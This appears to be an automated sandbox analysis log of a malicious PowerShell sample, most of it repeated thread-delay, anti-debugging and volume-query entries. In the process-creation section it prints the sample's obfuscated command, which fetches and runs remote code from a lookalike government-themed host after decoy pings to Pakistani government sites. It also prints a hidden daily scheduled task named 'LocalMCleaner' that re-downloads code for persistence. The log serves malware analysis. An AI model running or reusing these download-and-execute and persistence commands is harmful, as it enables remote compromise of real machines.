Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7254	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2502	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5857	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1516	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5258	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4447	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5543
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4192

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6596	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7416	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7416	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2684	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep count: 5857 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7720	Thread sleep count: 1516 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7736	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8004	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8076	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep count: 5543 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep count: 4192 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7820	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\PING.EXE

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000008.00000002.3810056014.000002384C841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3806337233.000002384722B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3810194081.000002384C85A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: nslookup.exe, 00000004.00000002.1379267470.000001942A779000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllkkA#P
Source: powershell.exe, 00000000.00000002.3898678743.0000020573660000.00000004.00000020.00020000.00000000.sdmp, nslookup.exe, 00000005.00000002.1380221695.000001AB91C47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: PING.EXE, 00000003.00000002.1378144853.0000015928279000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll__
Source: powershell.exe, 0000000F.00000002.1669768304.000001D1C956B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllGGZ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process queried: DebugPort

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" www.nadra.gov.pk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\nslookup.exe "C:\Windows\system32\nslookup.exe" www.yahoo.com	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\nslookup.exe "C:\Windows\system32\nslookup.exe" www.protonmail.com	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://pmo.gov.pk/site/404	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell" /st 10:13 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell" /st 10:13 /f	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -nolog -windowst hidde -noexi -noprofile -noninterac -comman ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/winsysmgr/|powershell

Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B1786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B1786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Progman
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B1786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd2
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B1786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Progman2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
